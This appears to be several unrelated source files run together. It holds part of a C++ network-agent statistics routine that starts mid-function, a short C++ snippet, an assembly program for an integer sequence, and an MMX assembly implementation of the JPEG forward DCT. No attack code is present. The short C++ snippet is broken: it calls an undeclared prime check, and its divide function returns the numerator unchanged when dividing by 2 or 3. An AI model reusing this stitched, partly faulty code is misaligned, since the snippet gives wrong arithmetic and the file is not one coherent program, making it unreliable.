vrf_stats.set_l2_mcast_composites(s->l2_mcast_composites); vrf_stats.set_l3_mcast_composites(s->l3_mcast_composites); vrf_stats.set_multi_proto_composites(s->multi_proto_composites); vrf_stats.set_fabric_composites(s->fabric_composites); vrf_stats.set_encaps(s->encaps); vrf_stats.set_l2_encaps(s->l2_encaps); vlist.push_back(vrf_stats); if (UveVnVrfStatsChanged(vlist)) { s_vn.set_vrf_stats_list(vlist); uve_info_.set_vrf_stats_list(vlist); changed = true; } } return changed; } bool VnUveEntry::UpdateVrfStats(const VnEntry *vn, UveVirtualNetworkAgent &s_vn) { bool changed = false; VrfEntry *vrf = vn->GetVrf(); if (vrf) { changed = FillVrfStats(vrf->vrf_id(), s_vn); } else { vector<UveVrfStats> vlist; if (UveVnVrfStatsChanged(vlist)) { s_vn.set_vrf_stats_list(vlist); uve_info_.set_vrf_stats_list(vlist); changed = true; } } return changed; } bool VnUveEntry::FrameVnStatsMsg(const VnEntry *vn, UveVirtualNetworkAgent &uve, bool only_vrf_stats) { bool changed = false; uve.set_name(vn->GetName()); uint64_t in_pkts = 0; uint64_t in_bytes = 0; uint64_t out_pkts = 0; uint64_t out_bytes = 0; if (UpdateVrfStats(vn, uve)) { changed = true; } if (only_vrf_stats) { return changed; } int fip_count = 0; InterfaceSet::iterator it = interface_tree_.begin(); while (it != interface_tree_.end()) { const Interface *intf = *it; ++it; const VmInterface *vm_port = static_cast<const VmInterface *>(intf); fip_count += vm_port->GetFloatingIpCount(); AgentUve *uve = static_cast<AgentUve *>(agent_->uve()); const StatsManager::InterfaceStats *s = uve->stats_manager()->GetInterfaceStats(intf); if (s == NULL) { continue; } in_pkts += s->in_pkts; in_bytes += s->in_bytes; out_pkts += s->out_pkts; out_bytes += s->out_bytes; } uint64_t diff_in_bytes = 0; if (UveVnInterfaceInStatsChanged(in_bytes, in_pkts)) { uve.set_in_tpkts(in_pkts); uve.set_in_bytes(in_bytes); uve_info_.set_in_tpkts(in_pkts); uve_info_.set_in_bytes(in_bytes); changed = true; } uint64_t diff_out_bytes = 0; if (UveVnInterfaceOutStatsChanged(out_bytes, out_pkts)) { uve.set_out_tpkts(out_pkts); uve.set_out_bytes(out_bytes); uve_info_.set_out_tpkts(out_pkts); uve_info_.set_out_bytes(out_bytes); changed = true; } uint64_t diff_seconds = 0; uint64_t cur_time = UTCTimestampUsec(); bool send_bandwidth = false; uint64_t in_band, out_band; uint64_t b_intvl = agent_->uve()->bandwidth_intvl(); if (prev_stats_update_time_ == 0) { in_band = out_band = 0; send_bandwidth = true; prev_stats_update_time_ = cur_time; } else { diff_seconds = (cur_time - prev_stats_update_time_) / b_intvl; if (diff_seconds > 0) { diff_in_bytes = in_bytes - prev_in_bytes_; diff_out_bytes = out_bytes - prev_out_bytes_; in_band = (diff_in_bytes * 8)/diff_seconds; out_band = (diff_out_bytes * 8)/diff_seconds; prev_stats_update_time_ = cur_time; prev_in_bytes_ = in_bytes; prev_out_bytes_ = out_bytes; send_bandwidth = true; } } if (send_bandwidth && UveVnInBandChanged(in_band)) { uve.set_in_bandwidth_usage(in_band); uve_info_.set_in_bandwidth_usage(in_band); changed = true; } if (send_bandwidth && UveVnOutBandChanged(out_band)) { uve.set_out_bandwidth_usage(out_band); uve_info_.set_out_bandwidth_usage(out_band); changed = true; } if (UpdateVnFlowCount(vn, uve)) { changed = true; } if (UpdateVnFipCount(fip_count, uve)) { changed = true; } /* VM interface list for VN is sent whenever any VM is added or * removed from VN. That message has only two fields set - vn name * and virtualmachine_list */ if (PopulateInterVnStats(uve)) { changed = true; } if (SetVnPortBitmap(uve)) { changed = true; } return changed; }
#include<iostream> int checkifnumeratorprime(int a,int b) { if(isprime(a)) return 1; else return 0; } int checkifnumdivisible(int a,int b) { //if(b==0) return 0; //else return 1; return 0; } int divide(int a,int b) { if(b == 1) return (a); if(b == 0) return -1; if(b == 3) return (a); if(b == 2) return (a); return a/b; }
; A169448: Number of reduced words of length n in Coxeter group on 3 generators S_i with relations (S_i)^2 = (S_i S_j)^33 = I. ; 1,3,6,12,24,48,96,192,384,768,1536,3072,6144,12288,24576,49152,98304,196608,393216,786432,1572864,3145728,6291456,12582912,25165824,50331648,100663296,201326592,402653184,805306368,1610612736,3221225472 mov $1,2 pow $1,$0 mul $1,9 div $1,6 mov $0,$1
; ; jfdctint.asm - accurate integer FDCT (MMX) ; ; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB ; ; Based on ; x86 SIMD extension for IJG JPEG library ; Copyright (C) 1999-2006, MIYASAKA Masaru. ; For conditions of distribution and use, see copyright notice in jsimdext.inc ; ; This file should be assembled with NASM (Netwide Assembler), ; can *not* be assembled with Microsoft's MASM or any compatible ; assembler (including Borland's Turbo Assembler). ; NASM is available from http://nasm.sourceforge.net/ or ; http://sourceforge.net/project/showfiles.php?group_id=6208 ; ; This file contains a slow-but-accurate integer implementation of the ; forward DCT (Discrete Cosine Transform). The following code is based ; directly on the IJG's original jfdctint.c; see the jfdctint.c for ; more details. ; ; [TAB8] %include "jsimdext.inc" %include "jdct.inc" ; -------------------------------------------------------------------------- %define CONST_BITS 13 %define PASS1_BITS 2 %define DESCALE_P1 (CONST_BITS-PASS1_BITS) %define DESCALE_P2 (CONST_BITS+PASS1_BITS) %if CONST_BITS == 13 F_0_298 equ 2446 ; FIX(0.298631336) F_0_390 equ 3196 ; FIX(0.390180644) F_0_541 equ 4433 ; FIX(0.541196100) F_0_765 equ 6270 ; FIX(0.765366865) F_0_899 equ 7373 ; FIX(0.899976223) F_1_175 equ 9633 ; FIX(1.175875602) F_1_501 equ 12299 ; FIX(1.501321110) F_1_847 equ 15137 ; FIX(1.847759065) F_1_961 equ 16069 ; FIX(1.961570560) F_2_053 equ 16819 ; FIX(2.053119869) F_2_562 equ 20995 ; FIX(2.562915447) F_3_072 equ 25172 ; FIX(3.072711026) %else ; NASM cannot do compile-time arithmetic on floating-point constants. %define DESCALE(x,n) (((x)+(1<<((n)-1)))>>(n)) F_0_298 equ DESCALE( 320652955,30-CONST_BITS) ; FIX(0.298631336) F_0_390 equ DESCALE( 418953276,30-CONST_BITS) ; FIX(0.390180644) F_0_541 equ DESCALE( 581104887,30-CONST_BITS) ; FIX(0.541196100) F_0_765 equ DESCALE( 821806413,30-CONST_BITS) ; FIX(0.765366865) F_0_899 equ DESCALE( 966342111,30-CONST_BITS) ; FIX(0.899976223) F_1_175 equ DESCALE(1262586813,30-CONST_BITS) ; FIX(1.175875602) F_1_501 equ DESCALE(1612031267,30-CONST_BITS) ; FIX(1.501321110) F_1_847 equ DESCALE(1984016188,30-CONST_BITS) ; FIX(1.847759065) F_1_961 equ DESCALE(2106220350,30-CONST_BITS) ; FIX(1.961570560) F_2_053 equ DESCALE(2204520673,30-CONST_BITS) ; FIX(2.053119869) F_2_562 equ DESCALE(2751909506,30-CONST_BITS) ; FIX(2.562915447) F_3_072 equ DESCALE(3299298341,30-CONST_BITS) ; FIX(3.072711026) %endif ; -------------------------------------------------------------------------- SECTION SEG_CONST alignz 16 global EXTN(jconst_fdct_islow_mmx) PRIVATE EXTN(jconst_fdct_islow_mmx): PW_F130_F054 times 2 dw (F_0_541+F_0_765), F_0_541 PW_F054_MF130 times 2 dw F_0_541, (F_0_541-F_1_847) PW_MF078_F117 times 2 dw (F_1_175-F_1_961), F_1_175 PW_F117_F078 times 2 dw F_1_175, (F_1_175-F_0_390) PW_MF060_MF089 times 2 dw (F_0_298-F_0_899),-F_0_899 PW_MF089_F060 times 2 dw -F_0_899, (F_1_501-F_0_899) PW_MF050_MF256 times 2 dw (F_2_053-F_2_562),-F_2_562 PW_MF256_F050 times 2 dw -F_2_562, (F_3_072-F_2_562) PD_DESCALE_P1 times 2 dd 1 << (DESCALE_P1-1) PD_DESCALE_P2 times 2 dd 1 << (DESCALE_P2-1) PW_DESCALE_P2X times 4 dw 1 << (PASS1_BITS-1) alignz 16 ; -------------------------------------------------------------------------- SECTION SEG_TEXT BITS 32 ; ; Perform the forward DCT on one block of samples. ; ; GLOBAL(void) ; jsimd_fdct_islow_mmx (DCTELEM *data) ; %define data(b) (b)+8 ; DCTELEM *data %define original_ebp ebp+0 %define wk(i) ebp-(WK_NUM-(i))*SIZEOF_MMWORD ; mmword wk[WK_NUM] %define WK_NUM 2 align 16 global EXTN(jsimd_fdct_islow_mmx) PRIVATE EXTN(jsimd_fdct_islow_mmx): push ebp mov eax,esp ; eax = original ebp sub esp, byte 4 and esp, byte (-SIZEOF_MMWORD) ; align to 64 bits mov [esp],eax mov ebp,esp ; ebp = aligned ebp lea esp, [wk(0)] pushpic ebx ; push ecx ; need not be preserved ; push edx ; need not be preserved ; push esi ; unused ; push edi ; unused get_GOT ebx ; get GOT address ; ---- Pass 1: process rows. mov edx, POINTER [data(eax)] ; (DCTELEM *) mov ecx, DCTSIZE/4 alignx 16,7 .rowloop: movq mm0, MMWORD [MMBLOCK(2,0,edx,SIZEOF_DCTELEM)] movq mm1, MMWORD [MMBLOCK(3,0,edx,SIZEOF_DCTELEM)] movq mm2, MMWORD [MMBLOCK(2,1,edx,SIZEOF_DCTELEM)] movq mm3, MMWORD [MMBLOCK(3,1,edx,SIZEOF_DCTELEM)] ; mm0=(20 21 22 23), mm2=(24 25 26 27) ; mm1=(30 31 32 33), mm3=(34 35 36 37) movq mm4,mm0 ; transpose coefficients(phase 1) punpcklwd mm0,mm1 ; mm0=(20 30 21 31) punpckhwd mm4,mm1 ; mm4=(22 32 23 33) movq mm5,mm2 ; transpose coefficients(phase 1) punpcklwd mm2,mm3 ; mm2=(24 34 25 35) punpckhwd mm5,mm3 ; mm5=(26 36 27 37) movq mm6, MMWORD [MMBLOCK(0,0,edx,SIZEOF_DCTELEM)] movq mm7, MMWORD [MMBLOCK(1,0,edx,SIZEOF_DCTELEM)] movq mm1, MMWORD [MMBLOCK(0,1,edx,SIZEOF_DCTELEM)] movq mm3, MMWORD [MMBLOCK(1,1,edx,SIZEOF_DCTELEM)] ; mm6=(00 01 02 03), mm1=(04 05 06 07) ; mm7=(10 11 12 13), mm3=(14 15 16 17) movq MMWORD [wk(0)], mm4 ; wk(0)=(22 32 23 33) movq MMWORD [wk(1)], mm2 ; wk(1)=(24 34 25 35) movq mm4,mm6 ; transpose coefficients(phase 1) punpcklwd mm6,mm7 ; mm6=(00 10 01 11) punpckhwd mm4,mm7 ; mm4=(02 12 03 13) movq mm2,mm1 ; transpose coefficients(phase 1) punpcklwd mm1,mm3 ; mm1=(04 14 05 15) punpckhwd mm2,mm3 ; mm2=(06 16 07 17) movq mm7,mm6 ; transpose coefficients(phase 2) punpckldq mm6,mm0 ; mm6=(00 10 20 30)=data0 punpckhdq mm7,mm0 ; mm7=(01 11 21 31)=data1 movq mm3,mm2 ; transpose coefficients(phase 2) punpckldq mm2,mm5 ; mm2=(06 16 26 36)=data6 punpckhdq mm3,mm5 ; mm3=(07 17 27 37)=data7 movq mm0,mm7 movq mm5,mm6 psubw mm7,mm2 ; mm7=data1-data6=tmp6 psubw mm6,mm3 ; mm6=data0-data7=tmp7 paddw mm0,mm2 ; mm0=data1+data6=tmp1 paddw mm5,mm3 ; mm5=data0+data7=tmp0 movq mm2, MMWORD [wk(0)] ; mm2=(22 32 23 33) movq mm3, MMWORD [wk(1)] ; mm3=(24 34 25 35) movq MMWORD [wk(0)], mm7 ; wk(0)=tmp6 movq MMWORD [wk(1)], mm6 ; wk(1)=tmp7 movq mm7,mm4 ; transpose coefficients(phase 2) punpckldq mm4,mm2 ; mm4=(02 12 22 32)=data2 punpckhdq mm7,mm2 ; mm7=(03 13 23 33)=data3 movq mm6,mm1 ; transpose coefficients(phase 2) punpckldq mm1,mm3 ; mm1=(04 14 24 34)=data4 punpckhdq mm6,mm3 ; mm6=(05 15 25 35)=data5 movq mm2,mm7 movq mm3,mm4 paddw mm7,mm1 ; mm7=data3+data4=tmp3 paddw mm4,mm6 ; mm4=data2+data5=tmp2 psubw mm2,mm1 ; mm2=data3-data4=tmp4 psubw mm3,mm6 ; mm3=data2-data5=tmp5 ; -- Even part movq mm1,mm5 movq mm6,mm0 paddw mm5,mm7 ; mm5=tmp10 paddw mm0,mm4 ; mm0=tmp11 psubw mm1,mm7 ; mm1=tmp13 psubw mm6,mm4 ; mm6=tmp12 movq mm7,mm5 paddw mm5,mm0 ; mm5=tmp10+tmp11 psubw mm7,mm0 ; mm7=tmp10-tmp11 psllw mm5,PASS1_BITS ; mm5=data0 psllw mm7,PASS1_BITS ; mm7=data4 movq MMWORD [MMBLOCK(0,0,edx,SIZEOF_DCTELEM)], mm5 movq MMWORD [MMBLOCK(0,1,edx,SIZEOF_DCTELEM)], mm7 ; (Original) ; z1 = (tmp12 + tmp13) * 0.541196100; ; data2 = z1 + tmp13 * 0.765366865; ; data6 = z1 + tmp12 * -1.847759065; ; ; (This implementation) ; data2 = tmp13 * (0.541196100 + 0.765366865) + tmp12 * 0.541196100; ; data6 = tmp13 * 0.541196100 + tmp12 * (0.541196100 - 1.847759065); movq mm4,mm1 ; mm1=tmp13 movq mm0,mm1 punpcklwd mm4,mm6 ; mm6=tmp12 punpckhwd mm0,mm6 movq mm1,mm4 movq mm6,mm0 pmaddwd mm4,[GOTOFF(ebx,PW_F130_F054)] ; mm4=data2L pmaddwd mm0,[GOTOFF(ebx,PW_F130_F054)] ; mm0=data2H pmaddwd mm1,[GOTOFF(ebx,PW_F054_MF130)] ; mm1=data6L pmaddwd mm6,[GOTOFF(ebx,PW_F054_MF130)] ; mm6=data6H paddd mm4,[GOTOFF(ebx,PD_DESCALE_P1)] paddd mm0,[GOTOFF(ebx,PD_DESCALE_P1)] psrad mm4,DESCALE_P1 psrad mm0,DESCALE_P1 paddd mm1,[GOTOFF(ebx,PD_DESCALE_P1)] paddd mm6,[GOTOFF(ebx,PD_DESCALE_P1)] psrad mm1,DESCALE_P1 psrad mm6,DESCALE_P1 packssdw mm4,mm0 ; mm4=data2 packssdw mm1,mm6 ; mm1=data6 movq MMWORD [MMBLOCK(2,0,edx,SIZEOF_DCTELEM)], mm4 movq MMWORD [MMBLOCK(2,1,edx,SIZEOF_DCTELEM)], mm1 ; -- Odd part movq mm5, MMWORD [wk(0)] ; mm5=tmp6 movq mm7, MMWORD [wk(1)] ; mm7=tmp7 movq mm0,mm2 ; mm2=tmp4 movq mm6,mm3 ; mm3=tmp5 paddw mm0,mm5 ; mm0=z3 paddw mm6,mm7 ; mm6=z4 ; (Original) ; z5 = (z3 + z4) * 1.175875602; ; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644; ; z3 += z5; z4 += z5; ; ; (This implementation) ; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602; ; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644); movq mm4,mm0 movq mm1,mm0 punpcklwd mm4,mm6 punpckhwd mm1,mm6 movq mm0,mm4 movq mm6,mm1 pmaddwd mm4,[GOTOFF(ebx,PW_MF078_F117)] ; mm4=z3L pmaddwd mm1,[GOTOFF(ebx,PW_MF078_F117)] ; mm1=z3H pmaddwd mm0,[GOTOFF(ebx,PW_F117_F078)] ; mm0=z4L pmaddwd mm6,[GOTOFF(ebx,PW_F117_F078)] ; mm6=z4H movq MMWORD [wk(0)], mm4 ; wk(0)=z3L movq MMWORD [wk(1)], mm1 ; wk(1)=z3H ; (Original) ; z1 = tmp4 + tmp7; z2 = tmp5 + tmp6; ; tmp4 = tmp4 * 0.298631336; tmp5 = tmp5 * 2.053119869; ; tmp6 = tmp6 * 3.072711026; tmp7 = tmp7 * 1.501321110; ; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447; ; data7 = tmp4 + z1 + z3; data5 = tmp5 + z2 + z4; ; data3 = tmp6 + z2 + z3; data1 = tmp7 + z1 + z4; ; ; (This implementation) ; tmp4 = tmp4 * (0.298631336 - 0.899976223) + tmp7 * -0.899976223; ; tmp5 = tmp5 * (2.053119869 - 2.562915447) + tmp6 * -2.562915447; ; tmp6 = tmp5 * -2.562915447 + tmp6 * (3.072711026 - 2.562915447); ; tmp7 = tmp4 * -0.899976223 + tmp7 * (1.501321110 - 0.899976223); ; data7 = tmp4 + z3; data5 = tmp5 + z4; ; data3 = tmp6 + z3; data1 = tmp7 + z4; movq mm4,mm2 movq mm1,mm2 punpcklwd mm4,mm7 punpckhwd mm1,mm7 movq mm2,mm4 movq mm7,mm1 pmaddwd mm4,[GOTOFF(ebx,PW_MF060_MF089)] ; mm4=tmp4L pmaddwd mm1,[GOTOFF(ebx,PW_MF060_MF089)] ; mm1=tmp4H pmaddwd mm2,[GOTOFF(ebx,PW_MF089_F060)] ; mm2=tmp7L pmaddwd mm7,[GOTOFF(ebx,PW_MF089_F060)] ; mm7=tmp7H paddd mm4, MMWORD [wk(0)] ; mm4=data7L paddd mm1, MMWORD [wk(1)] ; mm1=data7H paddd mm2,mm0 ; mm2=data1L paddd mm7,mm6 ; mm7=data1H paddd mm4,[GOTOFF(ebx,PD_DESCALE_P1)] paddd mm1,[GOTOFF(ebx,PD_DESCALE_P1)] psrad mm4,DESCALE_P1 psrad mm1,DESCALE_P1 paddd mm2,[GOTOFF(ebx,PD_DESCALE_P1)] paddd mm7,[GOTOFF(ebx,PD_DESCALE_P1)] psrad mm2,DESCALE_P1 psrad mm7,DESCALE_P1 packssdw mm4,mm1 ; mm4=data7 packssdw mm2,mm7 ; mm2=data1 movq MMWORD [MMBLOCK(3,1,edx,SIZEOF_DCTELEM)], mm4 movq MMWORD [MMBLOCK(1,0,edx,SIZEOF_DCTELEM)], mm2 movq mm1,mm3 movq mm7,mm3 punpcklwd mm1,mm5 punpckhwd mm7,mm5 movq mm3,mm1 movq mm5,mm7 pmaddwd mm1,[GOTOFF(ebx,PW_MF050_MF256)] ; mm1=tmp5L pmaddwd mm7,[GOTOFF(ebx,PW_MF050_MF256)] ; mm7=tmp5H pmaddwd mm3,[GOTOFF(ebx,PW_MF256_F050)] ; mm3=tmp6L pmaddwd mm5,[GOTOFF(ebx,PW_MF256_F050)] ; mm5=tmp6H paddd mm1,mm0 ; mm1=data5L paddd mm7,mm6 ; mm7=data5H paddd mm3, MMWORD [wk(0)] ; mm3=data3L paddd mm5, MMWORD [wk(1)] ; mm5=data3H paddd mm1,[GOTOFF(ebx,PD_DESCALE_P1)] paddd mm7,[GOTOFF(ebx,PD_DESCALE_P1)] psrad mm1,DESCALE_P1 psrad mm7,DESCALE_P1 paddd mm3,[GOTOFF(ebx,PD_DESCALE_P1)] paddd mm5,[GOTOFF(ebx,PD_DESCALE_P1)] psrad mm3,DESCALE_P1 psrad mm5,DESCALE_P1 packssdw mm1,mm7 ; mm1=data5 packssdw mm3,mm5 ; mm3=data3 movq MMWORD [MMBLOCK(1,1,edx,SIZEOF_DCTELEM)], mm1 movq MMWORD [MMBLOCK(3,0,edx,SIZEOF_DCTELEM)], mm3 add edx, byte 4*DCTSIZE*SIZEOF_DCTELEM dec ecx jnz near .rowloop ; ---- Pass 2: process columns. mov edx, POINTER [data(eax)] ; (DCTELEM *) mov ecx, DCTSIZE/4 alignx 16,7 .columnloop: movq mm0, MMWORD [MMBLOCK(2,0,edx,SIZEOF_DCTELEM)] movq mm1, MMWORD [MMBLOCK(3,0,edx,SIZEOF_DCTELEM)] movq mm2, MMWORD [MMBLOCK(6,0,edx,SIZEOF_DCTELEM)] movq mm3, MMWORD [MMBLOCK(7,0,edx,SIZEOF_DCTELEM)] ; mm0=(02 12 22 32), mm2=(42 52 62 72) ; mm1=(03 13 23 33), mm3=(43 53 63 73) movq mm4,mm0 ; transpose coefficients(phase 1) punpcklwd mm0,mm1 ; mm0=(02 03 12 13) punpckhwd mm4,mm1 ; mm4=(22 23 32 33) movq mm5,mm2 ; transpose coefficients(phase 1) punpcklwd mm2,mm3 ; mm2=(42 43 52 53) punpckhwd mm5,mm3 ; mm5=(62 63 72 73) movq mm6, MMWORD [MMBLOCK(0,0,edx,SIZEOF_DCTELEM)] movq mm7, MMWORD [MMBLOCK(1,0,edx,SIZEOF_DCTELEM)] movq mm1, MMWORD [MMBLOCK(4,0,edx,SIZEOF_DCTELEM)] movq mm3, MMWORD [MMBLOCK(5,0,edx,SIZEOF_DCTELEM)] ; mm6=(00 10 20 30), mm1=(40 50 60 70) ; mm7=(01 11 21 31), mm3=(41 51 61 71) movq MMWORD [wk(0)], mm4 ; wk(0)=(22 23 32 33) movq MMWORD [wk(1)], mm2 ; wk(1)=(42 43 52 53) movq mm4,mm6 ; transpose coefficients(phase 1) punpcklwd mm6,mm7 ; mm6=(00 01 10 11) punpckhwd mm4,mm7 ; mm4=(20 21 30 31) movq mm2,mm1 ; transpose coefficients(phase 1) punpcklwd mm1,mm3 ; mm1=(40 41 50 51) punpckhwd mm2,mm3 ; mm2=(60 61 70 71) movq mm7,mm6 ; transpose coefficients(phase 2) punpckldq mm6,mm0 ; mm6=(00 01 02 03)=data0 punpckhdq mm7,mm0 ; mm7=(10 11 12 13)=data1 movq mm3,mm2 ; transpose coefficients(phase 2) punpckldq mm2,mm5 ; mm2=(60 61 62 63)=data6 punpckhdq mm3,mm5 ; mm3=(70 71 72 73)=data7 movq mm0,mm7 movq mm5,mm6 psubw mm7,mm2 ; mm7=data1-data6=tmp6 psubw mm6,mm3 ; mm6=data0-data7=tmp7 paddw mm0,mm2 ; mm0=data1+data6=tmp1 paddw mm5,mm3 ; mm5=data0+data7=tmp0 movq mm2, MMWORD [wk(0)] ; mm2=(22 23 32 33) movq mm3, MMWORD [wk(1)] ; mm3=(42 43 52 53) movq MMWORD [wk(0)], mm7 ; wk(0)=tmp6 movq MMWORD [wk(1)], mm6 ; wk(1)=tmp7 movq mm7,mm4 ; transpose coefficients(phase 2) punpckldq mm4,mm2 ; mm4=(20 21 22 23)=data2 punpckhdq mm7,mm2 ; mm7=(30 31 32 33)=data3 movq mm6,mm1 ; transpose coefficients(phase 2) punpckldq mm1,mm3 ; mm1=(40 41 42 43)=data4 punpckhdq mm6,mm3 ; mm6=(50 51 52 53)=data5 movq mm2,mm7 movq mm3,mm4 paddw mm7,mm1 ; mm7=data3+data4=tmp3 paddw mm4,mm6 ; mm4=data2+data5=tmp2 psubw mm2,mm1 ; mm2=data3-data4=tmp4 psubw mm3,mm6 ; mm3=data2-data5=tmp5 ; -- Even part movq mm1,mm5 movq mm6,mm0 paddw mm5,mm7 ; mm5=tmp10 paddw mm0,mm4 ; mm0=tmp11 psubw mm1,mm7 ; mm1=tmp13 psubw mm6,mm4 ; mm6=tmp12 movq mm7,mm5 paddw mm5,mm0 ; mm5=tmp10+tmp11 psubw mm7,mm0 ; mm7=tmp10-tmp11 paddw mm5,[GOTOFF(ebx,PW_DESCALE_P2X)] paddw mm7,[GOTOFF(ebx,PW_DESCALE_P2X)] psraw mm5,PASS1_BITS ; mm5=data0 psraw mm7,PASS1_BITS ; mm7=data4 movq MMWORD [MMBLOCK(0,0,edx,SIZEOF_DCTELEM)], mm5 movq MMWORD [MMBLOCK(4,0,edx,SIZEOF_DCTELEM)], mm7 ; (Original) ; z1 = (tmp12 + tmp13) * 0.541196100; ; data2 = z1 + tmp13 * 0.765366865; ; data6 = z1 + tmp12 * -1.847759065; ; ; (This implementation) ; data2 = tmp13 * (0.541196100 + 0.765366865) + tmp12 * 0.541196100; ; data6 = tmp13 * 0.541196100 + tmp12 * (0.541196100 - 1.847759065); movq mm4,mm1 ; mm1=tmp13 movq mm0,mm1 punpcklwd mm4,mm6 ; mm6=tmp12 punpckhwd mm0,mm6 movq mm1,mm4 movq mm6,mm0 pmaddwd mm4,[GOTOFF(ebx,PW_F130_F054)] ; mm4=data2L pmaddwd mm0,[GOTOFF(ebx,PW_F130_F054)] ; mm0=data2H pmaddwd mm1,[GOTOFF(ebx,PW_F054_MF130)] ; mm1=data6L pmaddwd mm6,[GOTOFF(ebx,PW_F054_MF130)] ; mm6=data6H paddd mm4,[GOTOFF(ebx,PD_DESCALE_P2)] paddd mm0,[GOTOFF(ebx,PD_DESCALE_P2)] psrad mm4,DESCALE_P2 psrad mm0,DESCALE_P2 paddd mm1,[GOTOFF(ebx,PD_DESCALE_P2)] paddd mm6,[GOTOFF(ebx,PD_DESCALE_P2)] psrad mm1,DESCALE_P2 psrad mm6,DESCALE_P2 packssdw mm4,mm0 ; mm4=data2 packssdw mm1,mm6 ; mm1=data6 movq MMWORD [MMBLOCK(2,0,edx,SIZEOF_DCTELEM)], mm4 movq MMWORD [MMBLOCK(6,0,edx,SIZEOF_DCTELEM)], mm1 ; -- Odd part movq mm5, MMWORD [wk(0)] ; mm5=tmp6 movq mm7, MMWORD [wk(1)] ; mm7=tmp7 movq mm0,mm2 ; mm2=tmp4 movq mm6,mm3 ; mm3=tmp5 paddw mm0,mm5 ; mm0=z3 paddw mm6,mm7 ; mm6=z4 ; (Original) ; z5 = (z3 + z4) * 1.175875602; ; z3 = z3 * -1.961570560; z4 = z4 * -0.390180644; ; z3 += z5; z4 += z5; ; ; (This implementation) ; z3 = z3 * (1.175875602 - 1.961570560) + z4 * 1.175875602; ; z4 = z3 * 1.175875602 + z4 * (1.175875602 - 0.390180644); movq mm4,mm0 movq mm1,mm0 punpcklwd mm4,mm6 punpckhwd mm1,mm6 movq mm0,mm4 movq mm6,mm1 pmaddwd mm4,[GOTOFF(ebx,PW_MF078_F117)] ; mm4=z3L pmaddwd mm1,[GOTOFF(ebx,PW_MF078_F117)] ; mm1=z3H pmaddwd mm0,[GOTOFF(ebx,PW_F117_F078)] ; mm0=z4L pmaddwd mm6,[GOTOFF(ebx,PW_F117_F078)] ; mm6=z4H movq MMWORD [wk(0)], mm4 ; wk(0)=z3L movq MMWORD [wk(1)], mm1 ; wk(1)=z3H ; (Original) ; z1 = tmp4 + tmp7; z2 = tmp5 + tmp6; ; tmp4 = tmp4 * 0.298631336; tmp5 = tmp5 * 2.053119869; ; tmp6 = tmp6 * 3.072711026; tmp7 = tmp7 * 1.501321110; ; z1 = z1 * -0.899976223; z2 = z2 * -2.562915447; ; data7 = tmp4 + z1 + z3; data5 = tmp5 + z2 + z4; ; data3 = tmp6 + z2 + z3; data1 = tmp7 + z1 + z4; ; ; (This implementation) ; tmp4 = tmp4 * (0.298631336 - 0.899976223) + tmp7 * -0.899976223; ; tmp5 = tmp5 * (2.053119869 - 2.562915447) + tmp6 * -2.562915447; ; tmp6 = tmp5 * -2.562915447 + tmp6 * (3.072711026 - 2.562915447); ; tmp7 = tmp4 * -0.899976223 + tmp7 * (1.501321110 - 0.899976223); ; data7 = tmp4 + z3; data5 = tmp5 + z4; ; data3 = tmp6 + z3; data1 = tmp7 + z4; movq mm4,mm2 movq mm1,mm2 punpcklwd mm4,mm7 punpckhwd mm1,mm7 movq mm2,mm4 movq mm7,mm1 pmaddwd mm4,[GOTOFF(ebx,PW_MF060_MF089)] ; mm4=tmp4L pmaddwd mm1,[GOTOFF(ebx,PW_MF060_MF089)] ; mm1=tmp4H pmaddwd mm2,[GOTOFF(ebx,PW_MF089_F060)] ; mm2=tmp7L pmaddwd mm7,[GOTOFF(ebx,PW_MF089_F060)] ; mm7=tmp7H paddd mm4, MMWORD [wk(0)] ; mm4=data7L paddd mm1, MMWORD [wk(1)] ; mm1=data7H paddd mm2,mm0 ; mm2=data1L paddd mm7,mm6 ; mm7=data1H paddd mm4,[GOTOFF(ebx,PD_DESCALE_P2)] paddd mm1,[GOTOFF(ebx,PD_DESCALE_P2)] psrad mm4,DESCALE_P2 psrad mm1,DESCALE_P2 paddd mm2,[GOTOFF(ebx,PD_DESCALE_P2)] paddd mm7,[GOTOFF(ebx,PD_DESCALE_P2)] psrad mm2,DESCALE_P2 psrad mm7,DESCALE_P2 packssdw mm4,mm1 ; mm4=data7 packssdw mm2,mm7 ; mm2=data1 movq MMWORD [MMBLOCK(7,0,edx,SIZEOF_DCTELEM)], mm4 movq MMWORD [MMBLOCK(1,0,edx,SIZEOF_DCTELEM)], mm2 movq mm1,mm3 movq mm7,mm3 punpcklwd mm1,mm5 punpckhwd mm7,mm5 movq mm3,mm1 movq mm5,mm7 pmaddwd mm1,[GOTOFF(ebx,PW_MF050_MF256)] ; mm1=tmp5L pmaddwd mm7,[GOTOFF(ebx,PW_MF050_MF256)] ; mm7=tmp5H pmaddwd mm3,[GOTOFF(ebx,PW_MF256_F050)] ; mm3=tmp6L pmaddwd mm5,[GOTOFF(ebx,PW_MF256_F050)] ; mm5=tmp6H paddd mm1,mm0 ; mm1=data5L paddd mm7,mm6 ; mm7=data5H paddd mm3, MMWORD [wk(0)] ; mm3=data3L paddd mm5, MMWORD [wk(1)] ; mm5=data3H paddd mm1,[GOTOFF(ebx,PD_DESCALE_P2)] paddd mm7,[GOTOFF(ebx,PD_DESCALE_P2)] psrad mm1,DESCALE_P2 psrad mm7,DESCALE_P2 paddd mm3,[GOTOFF(ebx,PD_DESCALE_P2)] paddd mm5,[GOTOFF(ebx,PD_DESCALE_P2)] psrad mm3,DESCALE_P2 psrad mm5,DESCALE_P2 packssdw mm1,mm7 ; mm1=data5 packssdw mm3,mm5 ; mm3=data3 movq MMWORD [MMBLOCK(5,0,edx,SIZEOF_DCTELEM)], mm1 movq MMWORD [MMBLOCK(3,0,edx,SIZEOF_DCTELEM)], mm3 add edx, byte 4*SIZEOF_DCTELEM dec ecx jnz near .columnloop emms ; empty MMX state ; pop edi ; unused ; pop esi ; unused ; pop edx ; need not be preserved ; pop ecx ; need not be preserved poppic ebx mov esp,ebp ; esp <- aligned ebp pop esp ; esp <- original ebp pop ebp ret ; For some reason, the OS X linker does not honor the request to align the ; segment unless we do this. align 16
